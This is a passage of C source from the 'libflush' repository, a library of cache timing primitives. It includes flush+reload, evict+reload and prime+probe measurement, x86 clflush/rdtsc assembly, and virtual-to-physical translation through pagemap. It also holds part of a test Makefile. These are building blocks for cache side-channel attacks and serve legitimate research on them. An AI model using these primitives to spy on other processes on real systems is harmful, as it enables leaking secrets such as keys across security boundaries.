libflush_eviction_evict(session, address); 131 | #elif defined(__ARM_ARCH_8A__) 132 | arm_v8_flush(address); 133 | #elif defined(__i386__) || defined(__x86_64__) 134 | x86_flush(address); 135 | #else 136 | #error No flush/eviction method available on this platform 137 | #endif 138 | } 139 | 140 | uint64_t 141 | libflush_flush_time(libflush_session_t* session, void* address) 142 | { 143 | (void) session; 144 | 145 | uint64_t start = libflush_get_timing(session); 146 | 147 | #if USE_EVICTION == 1 148 | libflush_eviction_evict(session, address); 149 | #elif defined(__ARM_ARCH_8A__) 150 | arm_v8_flush(address); 151 | #elif defined(__i386__) || defined(__x86_64__) 152 | x86_flush(address); 153 | #else 154 | #error No flush/eviction method available on this platform 155 | #endif 156 | 157 | return libflush_get_timing(session) - start; 158 | } 159 | 160 | void 161 | libflush_evict(libflush_session_t* session, void* address) 162 | { 163 | libflush_eviction_evict(session, address); 164 | } 165 | 166 | uint64_t 167 | libflush_evict_time(libflush_session_t* session, void* address) 168 | { 169 | uint64_t start = libflush_get_timing(session); 170 | libflush_eviction_evict(session, address); 171 | return libflush_get_timing(session) - start; 172 | } 173 | 174 | void 175 | libflush_prefetch(libflush_session_t* session, void* address) 176 | { 177 | (void) session; 178 | 179 | #if defined(__ARM_ARCH_7A__) 180 | arm_v7_prefetch(address); 181 | libflush_memory_barrier(); 182 | #elif defined(__ARM_ARCH_8A__) 183 | arm_v8_prefetch(address); 184 | libflush_memory_barrier(); 185 | #elif defined(__i386__) || defined(__x86_64__) 186 | x86_prefetch(address); 187 | #else 188 | #error No prefetch method available on this platform 189 | #endif 190 | } 191 | 192 | uint64_t 193 | libflush_prefetch_time(libflush_session_t* session, void* address) 194 | { 195 | (void) session; 196 | 197 | uint64_t start = libflush_get_timing_start(session); 198 | 199 | #if defined(__ARM_ARCH_7A__) 200 | arm_v7_prefetch(address); 201 | libflush_memory_barrier(); 202 | #elif defined(__ARM_ARCH_8A__) 203 | arm_v8_prefetch(address); 204 | libflush_memory_barrier(); 205 | #elif defined(__i386__) || defined(__x86_64__) 206 | x86_prefetch(address); 207 | #else 208 | #error No prefetch method available on this platform 209 | #endif 210 | 211 | return libflush_get_timing_end(session) - start; 212 | } 213 | 214 | uint64_t 215 | libflush_get_timing(libflush_session_t* session) 216 | { 217 | (void) session; 218 | 219 | uint64_t result = 0; 220 | 221 | libflush_memory_barrier(); 222 | 223 | #if TIME_SOURCE == TIME_SOURCE_MONOTONIC_CLOCK 224 | result = get_monotonic_time(); 225 | #elif TIME_SOURCE == TIME_SOURCE_PERF 226 | result = perf_get_timing(session); 227 | #elif TIME_SOURCE == TIME_SOURCE_THREAD_COUNTER 228 | result = thread_counter_get_timing(session); 229 | #elif TIME_SOURCE == TIME_SOURCE_REGISTER 230 | #if defined(__ARM_ARCH_7A__) 231 | result = arm_v7_get_timing(); 232 | #elif defined(__ARM_ARCH_8A__) 233 | result = arm_v8_get_timing(); 234 | #elif defined(__i386__) || defined(__x86_64__) 235 | result = x86_get_timing(); 236 | #endif 237 | #endif 238 | 239 | libflush_memory_barrier(); 240 | 241 | return result; 242 | } 243 | 244 | static uint64_t 245 | libflush_get_timing_start(libflush_session_t* session) 246 | { 247 | (void) session; 248 | 249 | uint64_t result = 0; 250 | 251 | #if defined(__i386__) || defined(__x86_64__) 252 | result = x86_get_timing_start(); 253 | #else 254 | result = libflush_get_timing(session); 255 | #endif 256 | 257 | return result; 258 | } 259 | 260 | static uint64_t 261 | libflush_get_timing_end(libflush_session_t* session) 262 | { 263 | (void) session; 264 | 265 | uint64_t result = 0; 266 | 267 | #if defined(__i386__) || defined(__x86_64__) 268 | result = x86_get_timing_end(); 269 | #else 270 | result = libflush_get_timing(session); 271 | #endif 272 | 273 | return result; 274 | } 275 | 276 | void 277 | libflush_reset_timing(libflush_session_t* session) 278 | { 279 | (void) session; 280 | 281 | #if TIME_SOURCE == TIME_SOURCE_PERF 282 | perf_reset_timing(session); 283 | #elif TIME_SOURCE == TIME_SOURCE_REGISTER 284 | #if defined(__ARM_ARCH_7A__) 285 | arm_v7_reset_timing(session->performance_register_div64); 286 | #elif defined(__ARM_ARCH_8A__) 287 | arm_v8_reset_timing(); 288 | #endif 289 | #endif 290 | 291 | libflush_memory_barrier(); 292 | } 293 | 294 | inline void 295 | libflush_access_memory(void *address) { 296 | #if defined(__ARM_ARCH_7A__) 297 | arm_v7_access_memory(address); 298 | #elif defined(__ARM_ARCH_8A__) 299 | arm_v8_access_memory(address); 300 | #elif defined(__i386__) || defined(__x86_64__) 301 | x86_access_memory(address); 302 | #endif 303 | } 304 | 305 | uint64_t 306 | libflush_reload_address(libflush_session_t* session, void* address) 307 | { 308 | uint64_t time = libflush_get_timing(session); 309 | libflush_access_memory(address); 310 | 311 | return libflush_get_timing(session) - time; 312 | } 313 | 314 | uint64_t 315 | libflush_reload_address_and_flush(libflush_session_t* session, void* address) 316 | { 317 | uint64_t time = libflush_get_timing_start(session); 318 | libflush_access_memory(address); 319 | uint64_t delta = libflush_get_timing_end(session) - time; 320 | libflush_flush(session, address); 321 | 322 | return delta; 323 | } 324 | 325 | uint64_t 326 | libflush_reload_address_and_evict(libflush_session_t* session, void* address) 327 | { 328 | uint64_t time = libflush_get_timing_start(session); 329 | libflush_access_memory(address); 330 | uint64_t delta = libflush_get_timing_end(session) - time; 331 | libflush_evict(session, address); 332 | 333 | return delta; 334 | } 335 | 336 | inline void 337 | libflush_memory_barrier() 338 | { 339 | #if defined(__ARM_ARCH_7A__) 340 | arm_v7_memory_barrier(); 341 | #elif defined(__ARM_ARCH_8A__) 342 | arm_v8_memory_barrier(); 343 | #elif defined(__i386__) || defined(__x86_64__) 344 | x86_memory_barrier(); 345 | #endif 346 | } 347 | 348 | void 349 | libflush_prime(libflush_session_t* session, size_t set_index) 350 | { 351 | libflush_eviction_prime(session, set_index); 352 | } 353 | 354 | size_t 355 | libflush_get_set_index(libflush_session_t* session, void* address) 356 | { 357 | return libflush_eviction_get_set_index(session, address); 358 | } 359 | 360 | size_t 361 | libflush_get_number_of_sets(libflush_session_t* session) 362 | { 363 | return libflush_eviction_get_number_of_sets(session); 364 | } 365 | 366 | uint64_t 367 | libflush_probe(libflush_session_t* session, size_t set_index) 368 | { 369 | uint64_t time = libflush_get_timing_start(session); 370 | libflush_eviction_probe(session, set_index); 371 | uint64_t delta = libflush_get_timing_end(session) - time; 372 | 373 | return delta; 374 | } 375 | 376 | uintptr_t 377 | libflush_get_physical_address(libflush_session_t* session, uintptr_t virtual_address) 378 | { 379 | (void) session; 380 | (void) virtual_address; 381 | 382 | #if HAVE_PAGEMAP_ACCESS == 1 383 | // Access memory 384 | libflush_access_memory((void *) virtual_address); 385 | 386 | uint64_t value; 387 | off_t offset = (virtual_address / 4096) * sizeof(value); 388 | int got = pread(session->memory.pagemap, &value, sizeof(value), offset); 389 | assert(got == 8); 390 | 391 | // Check the "page present" flag. 392 | assert(value & (1ULL << 63)); 393 | 394 | uint64_t frame_num = get_frame_number_from_pagemap(value); 395 | return (frame_num * 4096) | (virtual_address & (4095)); 396 | #else 397 | return 0; 398 | #endif 399 | } 400 | 401 | uint64_t 402 | libflush_get_pagemap_entry(libflush_session_t* session, uint64_t virtual_address) 403 | { 404 | (void) session; 405 | (void) virtual_address; 406 | 407 | #if HAVE_PAGEMAP_ACCESS == 1 408 | // Access memory 409 | uint64_t value; 410 | off_t offset = (virtual_address / 4096) * sizeof(value); 411 | int got = pread(session->memory.pagemap, &value, sizeof(value), offset); 412 | assert(got == 8); 413 | 414 | return value; 415 | #else 416 | return 0; 417 | #endif 418 | } 419 | 420 | #if HAVE_PAGEMAP_ACCESS == 1 421 | static size_t 422 | get_frame_number_from_pagemap(size_t value) 423 | { 424 | return value & ((1ULL << 55) - 1); 425 | } 426 | #endif 427 | -------------------------------------------------------------------------------- /libflush/libflush/libflush.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef LIBFLUSH_H 4 | #define LIBFLUSH_H 5 | 6 | #ifdef __cplusplus 7 | extern "C" { 8 | #endif 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | /** 15 | * libflush session 16 | */ 17 | typedef struct libflush_session_args_s { 18 | size_t bind_to_cpu; /**< CPU id to bind dedicated thread timer */ 19 | bool performance_register_div64; /**< Enable 64 divisor (ARM only) */ 20 | } libflush_session_args_t; 21 | 22 | typedef struct libflush_session_s libflush_session_t; 23 | 24 | /** 25 | * Initializes the libflush session 26 | * 27 | * @param[out] session The initialized session 28 | * @param[in] args Additional arguments for the initialization 29 | * 30 | * @return true Initialization was successful 31 | * @return false Initialization failed 32 | */ 33 | bool libflush_init(libflush_session_t** session, libflush_session_args_t* args); 34 | 35 | /** 36 | * Terminates the libflush session 37 | * 38 | * @param[in] session The initialized session 39 | * 40 | * @return true Termination was successful 41 | * @return false Termination failed 42 | */ 43 | bool libflush_terminate(libflush_session_t* session); 44 | 45 | /** 46 | * Get current time measurement 47 | * 48 | * @param[in] session The used session 49 | * 50 | * @return Current time measurements 51 | */ 52 | uint64_t libflush_get_timing(libflush_session_t* session); 53 | 54 | /** 55 | * Resets the time measurement 56 | * 57 | * @param[in] session The used session 58 | */ 59 | void libflush_reset_timing(libflush_session_t* session); 60 | 61 | /** 62 | * Flushes the given address 63 | * 64 | * @param[in] session The used session 65 | * @param[in] address The address to flush 66 | */ 67 | void libflush_flush(libflush_session_t* session, void* address); 68 | 69 | /** 70 | * Measure how long it takes to flush the given address 71 | * 72 | * @param[in] session The used session 73 | * @param[in] address The address to flush 74 | * 75 | * @return Timing measurement 76 | */ 77 | uint64_t libflush_flush_time(libflush_session_t* session, void* address); 78 | 79 | /** 80 | * Evicts the given address 81 | * 82 | * @param[in] session The used session 83 | * @param[in] address The address to flush 84 | */ 85 | void libflush_evict(libflush_session_t* session, void* address); 86 | 87 | /** 88 | * Measure how long it takes to evict the given address 89 | * 90 | * @param[in] session The used session 91 | * @param[in] address The address to flush 92 | * 93 | * @return Timing measurement 94 | */ 95 | uint64_t libflush_evict_time(libflush_session_t* session, void* address); 96 | 97 | /** 98 | * Accesses the given data pointer 99 | * 100 | * @param[in] address Address to access 101 | */ 102 | void libflush_access_memory(void *address); 103 | 104 | /** 105 | * Measures the time it takes to access the given address 106 | * 107 | * @param[in] session The used session 108 | * @param[in] address Address to access 109 | * 110 | * @return Timing measurement 111 | */ 112 | uint64_t libflush_reload_address(libflush_session_t* session, void* address); 113 | 114 | /** 115 | * Measures the time it takes to access the given address. Then the address is 116 | * flushed to memory. 117 | * 118 | * @param[in] session The used session 119 | * @param[in] address Address to access 120 | * 121 | * @return Timing measurement 122 | */ 123 | uint64_t libflush_reload_address_and_flush(libflush_session_t* session, void* address); 124 | 125 | /** 126 | * Measures the time it takes to access the given address. Then the address is 127 | * evicted to memory. 128 | * 129 | * @param[in] session The used session 130 | * @param[in] address Address to access 131 | * 132 | * @return Timing measurement 133 | */ 134 | uint64_t libflush_reload_address_and_evict(libflush_session_t* session, void* address); 135 | 136 | /** 137 | * Memory barrier 138 | */ 139 | void libflush_memory_barrier(); 140 | 141 | /** 142 | * Primes a given cache set. 143 | * 144 | * @param[in] session The used session 145 | * @param[in] set_index The set index 146 | */ 147 | void libflush_prime(libflush_session_t* session, size_t set_index); 148 | 149 | /** 150 | * Probes a given cache set. 151 | * 152 | * @param[in] session The used session 153 | * @param[in] set_index The set index 154 | * 155 | * @return Timing measurement 156 | */ 157 | uint64_t libflush_probe(libflush_session_t* session, size_t set_index); 158 | 159 | /** 160 | * Returns the set index of a given address 161 | * 162 | * @param[in] session The used session 163 | * @param[in] address The target address 164 | * 165 | * @return The set index 166 | */ 167 | size_t libflush_get_set_index(libflush_session_t* session, void* address); 168 | 169 | /** 170 | * Returns the number of sets 171 | * 172 | * @param[in] session The used session 173 | * 174 | * @return The number of sets 175 | */ 176 | size_t libflush_get_number_of_sets(libflush_session_t* session); 177 | 178 | /** 179 | * Prefetches an address. 180 | * 181 | * @param[in] session The used session. 182 | * @param[in] address The target address. 183 | */ 184 | void libflush_prefetch(libflush_session_t* session, void* address); 185 | 186 | /** 187 | * Measures the time it takes to prefetch a given address. 188 | * 189 | * @param[in] session The used session. 190 | * @param[in] address The target address. 191 | * 192 | * @return Timing measurement 193 | */ 194 | uint64_t libflush_prefetch_time(libflush_session_t* session, void* address); 195 | 196 | /** 197 | * Returns the physical address of an virtual address. 198 | * 199 | * @param[in] session The used session 200 | * @param[in] virtual_address The virtual address 201 | * 202 | * @return The physical address 203 | */ 204 | uintptr_t libflush_get_physical_address(libflush_session_t* session, uintptr_t virtual_address); 205 | 206 | /** 207 | * Returns the raw pagemap entry of an virtual address. 208 | * 209 | * @param[in] session The used session 210 | * @param[in] virtual_address The virtual address 211 | * 212 | * @return The raw pagemap entry 213 | */ 214 | uint64_t libflush_get_pagemap_entry(libflush_session_t* session, uint64_t virtual_address); 215 | 216 | /** 217 | * Binds the process to a cpu 218 | * 219 | * @param[in] cpu The cpu id 220 | * 221 | * @return true Binding to the cpu was successful 222 | * @return false Binding to the cpu failed 223 | */ 224 | bool libflush_bind_to_cpu(size_t cpu); 225 | 226 | #ifdef __cplusplus 227 | } 228 | #endif 229 | 230 | #endif /* LIBFLUSH_H */ 231 | -------------------------------------------------------------------------------- /libflush/libflush/timing.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #define _GNU_SOURCE 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "libflush.h" 15 | #include "timing.h" 16 | #include "internal.h" 17 | 18 | #if TIME_SOURCE == TIME_SOURCE_MONOTONIC_CLOCK 19 | #include 20 | 21 | uint64_t 22 | get_monotonic_time(void) 23 | { 24 | struct timespec t1; 25 | clock_gettime(CLOCK_MONOTONIC, &t1); 26 | return t1.tv_sec * 1000*1000*1000ULL + t1.tv_nsec; 27 | } 28 | #endif 29 | 30 | #if TIME_SOURCE == TIME_SOURCE_PERF 31 | #include 32 | #include 33 | #include 34 | #include 35 | 36 | inline bool 37 | perf_init(libflush_session_t* session, libflush_session_args_t* args) 38 | { 39 | (void) session; 40 | (void) args; 41 | 42 | static struct perf_event_attr attr; 43 | attr.type = PERF_TYPE_HARDWARE; 44 | attr.config = PERF_COUNT_HW_CPU_CYCLES; 45 | attr.size = sizeof(attr); 46 | attr.exclude_kernel = 1; 47 | attr.exclude_hv = 1; 48 | attr.exclude_callchain_kernel = 1; 49 | 50 | session->perf.fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0); 51 | assert(session->perf.fd >= 0 && "if this assertion fails you have no perf event interface available for the userspace. install a different kernel/rom."); // if this assertion fails you have no perf event interface available for the userspace. install a different kernel/rom. 52 | 53 | return true; 54 | } 55 | 56 | inline bool 57 | perf_terminate(libflush_session_t* session) 58 | { 59 | close(session->perf.fd); 60 | 61 | return true; 62 | } 63 | 64 | inline uint64_t 65 | perf_get_timing(libflush_session_t* session) 66 | { 67 | long long result = 0; 68 | 69 | if (read(session->perf.fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 70 | return 0; 71 | } 72 | 73 | return result; 74 | } 75 | 76 | inline void 77 | perf_reset_timing(libflush_session_t* session) 78 | { 79 | ioctl(session->perf.fd, PERF_EVENT_IOC_RESET, 0); 80 | } 81 | #endif 82 | 83 | #if TIME_SOURCE == TIME_SOURCE_THREAD_COUNTER 84 | static void* thread_counter_func(void*); 85 | #include 86 | 87 | inline bool 88 | thread_counter_init(libflush_session_t* session, libflush_session_args_t* args) 89 | { 90 | if (session == NULL) { 91 | return false; 92 | } 93 | 94 | session->thread_counter.data.cpu = (args != NULL) ? (ssize_t) args->bind_to_cpu : -1; 95 | session->thread_counter.data.session = session; 96 | 97 | if (pthread_create(&(session->thread_counter.thread), NULL, 98 | thread_counter_func, &(session->thread_counter.data)) != 0) { 99 | return false; 100 | } 101 | 102 | return true; 103 | } 104 | 105 | inline bool 106 | thread_counter_terminate(libflush_session_t* session) 107 | { 108 | if (session == NULL) { 109 | return false; 110 | } 111 | 112 | #if __BIONIC__ 113 | pthread_kill(session->thread_counter.thread, SIGUSR1); 114 | #else 115 | pthread_cancel(session->thread_counter.thread); 116 | #endif 117 | pthread_join(session->thread_counter.thread, NULL); 118 | 119 | return true; 120 | } 121 | 122 | inline uint64_t 123 | thread_counter_get_timing(libflush_session_t* session) 124 | { 125 | libflush_memory_barrier(session); 126 | 127 | uint64_t time = session->thread_counter.value; 128 | 129 | libflush_memory_barrier(session); 130 | 131 | return time; 132 | } 133 | 134 | #if __BIONIC__ 135 | static void 136 | thread_exit_handler(int sig) 137 | { 138 | (void) sig; 139 | 140 | pthread_exit(NULL); 141 | } 142 | #endif 143 | 144 | static void* 145 | thread_counter_func(void* data) { 146 | #ifndef __BIONIC__ 147 | /* Set cancel able */ 148 | pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL); 149 | #endif 150 | 151 | /* Unpack data */ 152 | thread_data_t* thread_data = (thread_data_t*) data; 153 | libflush_session_t* session = thread_data->session; 154 | ssize_t cpu = thread_data->cpu; 155 | 156 | /* Bind to CPU */ 157 | if (cpu > 0) { 158 | if (libflush_bind_to_cpu(cpu) == false) { 159 | fprintf(stderr, "Could not bind to CPU: %zu\n", cpu); 160 | } else { 161 | fprintf(stderr, "Bind thread to CPU: %zu\n", cpu); 162 | } 163 | } 164 | 165 | #if __BIONIC__ 166 | /* Setup cancel signal */ 167 | struct sigaction action; 168 | memset(&action, 0, sizeof(struct sigaction)); 169 | memset(&action.sa_mask, 0, sizeof(sigset_t)); 170 | action.sa_flags = 0; 171 | #if defined(__ARM_ARCH_7A__) 172 | action._u._sa_handler = thread_exit_handler; 173 | #else 174 | action.sa_handler = thread_exit_handler; 175 | #endif 176 | sigaction(SIGUSR1, &action, NULL); 177 | #endif 178 | 179 | while (true) { 180 | session->thread_counter.value++; 181 | } 182 | 183 | pthread_exit(NULL); 184 | } 185 | #endif 186 | -------------------------------------------------------------------------------- /libflush/libflush/timing.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef TIMING_H 4 | #define TIMING_H 5 | 6 | #include 7 | 8 | #include "libflush.h" 9 | 10 | #define TIME_SOURCE_REGISTER 1 11 | #define TIME_SOURCE_PERF 2 12 | #define TIME_SOURCE_MONOTONIC_CLOCK 3 13 | #define TIME_SOURCE_THREAD_COUNTER 4 14 | 15 | #if TIME_SOURCE == TIME_SOURCE_MONOTONIC_CLOCK 16 | uint64_t get_monotonic_time(void); 17 | #endif 18 | 19 | #if TIME_SOURCE == TIME_SOURCE_PERF 20 | bool perf_init(libflush_session_t* session, libflush_session_args_t* args); 21 | bool perf_terminate(libflush_session_t* session); 22 | uint64_t perf_get_timing(libflush_session_t* session); 23 | uint64_t perf_get_timing_start(libflush_session_t* session); 24 | uint64_t perf_get_timing_end(libflush_session_t* session); 25 | void perf_reset_timing(libflush_session_t* session); 26 | #endif 27 | 28 | #if TIME_SOURCE == TIME_SOURCE_THREAD_COUNTER 29 | bool thread_counter_init(libflush_session_t* session, libflush_session_args_t* args); 30 | uint64_t thread_counter_get_timing(libflush_session_t* session); 31 | bool thread_counter_terminate(libflush_session_t* session); 32 | #endif 33 | 34 | #endif // TIMING_H 35 | -------------------------------------------------------------------------------- /libflush/libflush/utils.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #if ANDROID_PLATFORM >= 21 4 | #define _GNU_SOURCE 5 | #include 6 | #endif 7 | 8 | #include "libflush.h" 9 | 10 | #if ANDROID_PLATFORM < 21 11 | #include 12 | #include 13 | 14 | #define CPU_SETSIZE 1024 15 | #define __NCPUBITS (8 * sizeof (unsigned long)) 16 | 17 | typedef struct cpu_set_s { 18 | unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; 19 | } cpu_set_t; 20 | 21 | #define CPU_SET(cpu, cpusetp) \ 22 | ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) 23 | 24 | #define CPU_ZERO(cpusetp) \ 25 | memset((cpusetp), 0, sizeof(cpu_set_t)) 26 | #else 27 | #endif 28 | 29 | bool 30 | libflush_bind_to_cpu(size_t cpu) 31 | { 32 | cpu_set_t mask; 33 | CPU_ZERO(&mask); 34 | CPU_SET(cpu, &mask); 35 | 36 | #if ANDROID_PLATFORM < 21 37 | if (syscall(__NR_sched_setaffinity, 0, sizeof(mask), &mask) == -1) { 38 | #else 39 | if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { 40 | #endif 41 | return false; 42 | } else { 43 | return true; 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /libflush/libflush/version.h.in: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef LIBFLUSH_VERSION_H 4 | #define LIBFLUSH_VERSION_H 5 | 6 | #define LIBFLUSH_VERSION_MAJOR ZVMAJOR 7 | #define LIBFLUSH_VERSION_MINOR ZVMINOR 8 | #define LIBFLUSH_VERSION_REV ZVREV 9 | #define LIBFLUSH_VERSION "ZVMAJOR.ZVMINOR.ZVREV" 10 | #define LIBFLUSH_API_VERSION ZVAPI 11 | #define LIBFLUSH_ABI_VERSION ZVABI 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /libflush/libflush/x86/flush.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef X86_FLUSH_H 4 | #define X86_FLUSH_H 5 | 6 | extern inline void x86_flush(void* address) 7 | { 8 | asm volatile ("clflush 0(%0)" 9 | : 10 | : "r" (address) 11 | : "rax" 12 | ); 13 | } 14 | 15 | #endif /* X86_FLUSH_H */ 16 | -------------------------------------------------------------------------------- /libflush/libflush/x86/libflush.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef X86_LIBFLUSH_H 4 | #define X86_LIBFLUSH_H 5 | 6 | #include "flush.h" 7 | #include "timing.h" 8 | #include "memory.h" 9 | 10 | #endif /* X86_LIBFLUSH_H */ 11 | -------------------------------------------------------------------------------- /libflush/libflush/x86/memory.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef X86_MEMORY_H 4 | #define X86_MEMORY_H 5 | 6 | extern inline void 7 | x86_access_memory(void* pointer) 8 | { 9 | asm volatile ("movq (%0), %%rax\n" 10 | : 11 | : "c" (pointer) 12 | : "rax"); 13 | } 14 | 15 | extern inline void 16 | x86_memory_barrier(void) 17 | { 18 | asm volatile ("mfence"); 19 | } 20 | 21 | extern inline void 22 | x86_prefetch(void* pointer) 23 | { 24 | asm volatile ("prefetchnta (%0)" :: "r" (pointer)); 25 | asm volatile ("prefetcht2 (%0)" :: "r" (pointer)); 26 | } 27 | 28 | #endif /*X86_MEMORY_H*/ 29 | -------------------------------------------------------------------------------- /libflush/libflush/x86/timing.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifndef X86_TIMING_H 4 | #define X86_TIMING_H 5 | 6 | #include 7 | 8 | #include "memory.h" 9 | 10 | extern inline uint64_t 11 | x86_get_timing(void) 12 | { 13 | uint64_t result = 0; 14 | uint64_t d = 0; 15 | 16 | asm volatile ("rdtsc" : "=a" (result), "=d" (d)); 17 | result = (d << 32) | result; 18 | 19 | return result; 20 | } 21 | 22 | extern inline uint64_t 23 | x86_get_timing_start(void) 24 | { 25 | uint64_t result = 0; 26 | uint64_t d = 0; 27 | 28 | asm volatile ("mfence\n\t" 29 | "RDTSCP\n\t" 30 | "mov %%rdx, %0\n\t" 31 | "mov %%rax, %1\n\t" 32 | "xor %%rax, %%rax\n\t" 33 | "CPUID\n\t" 34 | : "=r" (d), "=r" (result) 35 | : 36 | : "%rax", "%rbx", "%rcx", "%rdx"); 37 | 38 | result = (d << 32) | result; 39 | 40 | return result; 41 | } 42 | 43 | extern inline uint64_t 44 | x86_get_timing_end(void) 45 | { 46 | uint64_t result = 0; 47 | uint64_t d = 0; 48 | 49 | asm volatile( 50 | "xor %%rax, %%rax\n\t" 51 | "CPUID\n\t" 52 | "RDTSCP\n\t" 53 | "mov %%rdx, %0\n\t" 54 | "mov %%rax, %1\n\t" 55 | "mfence\n\t" 56 | : "=r" (d), "=r" (result) 57 | : 58 | : "%rax", "%rbx", "%rcx", "%rdx"); 59 | 60 | result = (d << 32) | result; 61 | 62 | return result; 63 | } 64 | 65 | #endif /*X86_TIMING_H*/ 66 | -------------------------------------------------------------------------------- /libflush/tests/.gitignore: -------------------------------------------------------------------------------- 1 | tests 2 | -------------------------------------------------------------------------------- /libflush/tests/Makefile: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | include ../config.mk 4 | include ../colors.mk 5 | include ../common.mk 6 | 7 | include config.mk 8 | 9 | PROJECT = tests 10 | SOURCE = $(wildcard *.c) 11 | OBJECTS = $(addprefix ${BUILDDIR_RELEASE}/,${SOURCE:.c=.o}) 12 | OBJECTS_DEBUG = $(addprefix ${BUILDDIR_DEBUG}/,${SOURCE:.c=.o}) 13 | OBJECTS_GCOV = $(addprefix ${BUILDDIR_GCOV}/,${SOURCE:.c=.o}) 14 | 15 | ifneq (${WITH_LIBFIU},0) 16 | INCS += ${FIU_INC} 17 | LIBS += ${FIU_LIB} 18 | FIU_EXEC += ${FIU_RUN} 19 | CPPFLAGS += -DFIU_ENABLE 20 | endif 21 | 22 | ifeq "${ARCH}" "armv7" 23 | include ../config-arm.mk 24 | endif 25 | 26 | ifneq (${HAVE_PAGEMAP_ACCESS},0) 27 | CPPFLAGS += -DHAVE_PAGEMAP_ACCESS=${HAVE_PAGEMAP_ACCESS} 28 | endif 29 | 30 | ifneq ($(wildcard ${VALGRIND_SUPPRESSION_FILE}),) 31 | VALGRIND_ARGUMENTS += --suppressions=${VALGRIND_SUPPRESSION_FILE} 32 | endif 33 | 34 | all: options ${PROJECT} 35 | 36 | options: 37 | ifeq "$(VERBOSE)" "1" 38 | $(ECHO) ${PROJECT} build options: 39 | $(ECHO) "CFLAGS = ${CFLAGS}" 40 | $(ECHO) "LDFLAGS = ${LDFLAGS}" 41 | $(ECHO) "DFLAGS = ${DFLAGS}" 42 | $(ECHO) "CC = ${CC}" 43 | endif 44 | 45 | # release 46 | 47 | ${PROJECT}: options ${OBJECTS} 48 | $(QUIET)${MAKE} WITH_LIBFIU=${WITH_LIBFIU} -C .. libflush 49 | $(call colorecho,CC,$@) 50 | $(QUIET)${CC} ${SFLAGS} ${LDFLAGS} -o $@ \ 51 | ${OBJECTS} ${LIBFLUSH_RELEASE} ${LIBS} 52 | 53 | ${OBJECTS}: config.mk ../config.mk ../libflush/version.h 54 | 55 | ${BUILDDIR_RELEASE}/%.o: %.c 56 | $(call colorecho,CC,$<) 57 | @mkdir -p ${DEPENDDIR}/$(dir $(abspath $@)) 58 | @mkdir -p $(dir $(abspath $@)) 59 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} \ 60 | -o $@ $< -MMD -MF ${DEPENDDIR}/$(abspath $@).dep 61 | 62 | run: ${PROJECT} 63 | $(QUIET)${FIU_EXEC} ./${PROJECT} 64 | 65 | # debug 66 | 67 | debug: options ${PROJECT}-debug 68 | 69 | ${PROJECT}-debug: ${OBJECTS_DEBUG} 70 | $(QUIET)${MAKE} WITH_LIBFIU=${WITH_LIBFIU} -C .. libflush-debug 71 | $(call colorecho,CC,$@) 72 | $(QUIET)${CC} ${LDFLAGS} -o $@ \ 73 | ${OBJECTS_DEBUG} ${LIBFLUSH_DEBUG} ${LIBS} 74 | 75 | ${OBJECTS_DEBUG}: config.mk ../config.mk ../libflush/version.h 76 | 77 | ${BUILDDIR_DEBUG}/%.o: %.c 78 | @mkdir -p ${DEPENDDIR}/$(dir $(abspath $@)) 79 | @mkdir -p $(dir $(abspath $@)) 80 | $(call colorecho,CC,$<) 81 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} ${DFLAGS} \ 82 | -o $@ $< -MMD -MF ${DEPENDDIR}/$(abspath $@).dep 83 | 84 | run-debug: ${PROJECT}-debug 85 | $(QUIET)${FIU_EXEC} ./${PROJECT}-debug 86 | 87 | # gcov 88 | 89 | gcov: options ${PROJECT}-gcov 90 | 91 | ${PROJECT}-gcov: options ${OBJECTS_GCOV} 92 | $(QUIET)${MAKE} WITH_LIBFIU=${WITH_LIBFIU} -C .. libflush-gcov 93 | $(call colorecho,CC,$@) 94 | $(QUIET)${CC} ${LDFLAGS} ${GCOV_LDFLAGS} -o $@ \ 95 | ${OBJECTS_GCOV} ${LIBFLUSH_GCOV} ${LIBS} 96 | 97 | ${OBJECTS_GCOV}: config.mk ../config.mk ../libflush/version.h 98 | 99 | ${BUILDDIR_GCOV}/%.o: %.c 100 | @mkdir -p ${DEPENDDIR}/$(dir $(abspath $@)) 101 | @mkdir -p $(dir $(abspath $@)) 102 | $(call colorecho,CC,$<) 103 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} ${GCOV_CFLAGS} ${DFLAGS} ${GCOV_DFLAGS} \ 104 | -o $@ $< -MMD -MF ${DEPENDDIR}/$(abspath $@).dep 105 | 106 | run-gcov: ${PROJECT}-gcov 107 | $(QUIET)${FIU_EXEC} ./${PROJECT}-gcov 108 | 109 | ../libflush/version.h: 110 | $(MAKE) -C .. libflush/version.h 111 | 112 | valgrind: ${PROJECT}-debug 113 | $(QUIET)G_SLICE=always-malloc G_DEBUG=gc-friendly ${FIU_EXEC} ${VALGRIND} ${VALGRIND_ARGUMENTS} ./${PROJECT}-debug 114 | 115 | clean: 116 | $(call 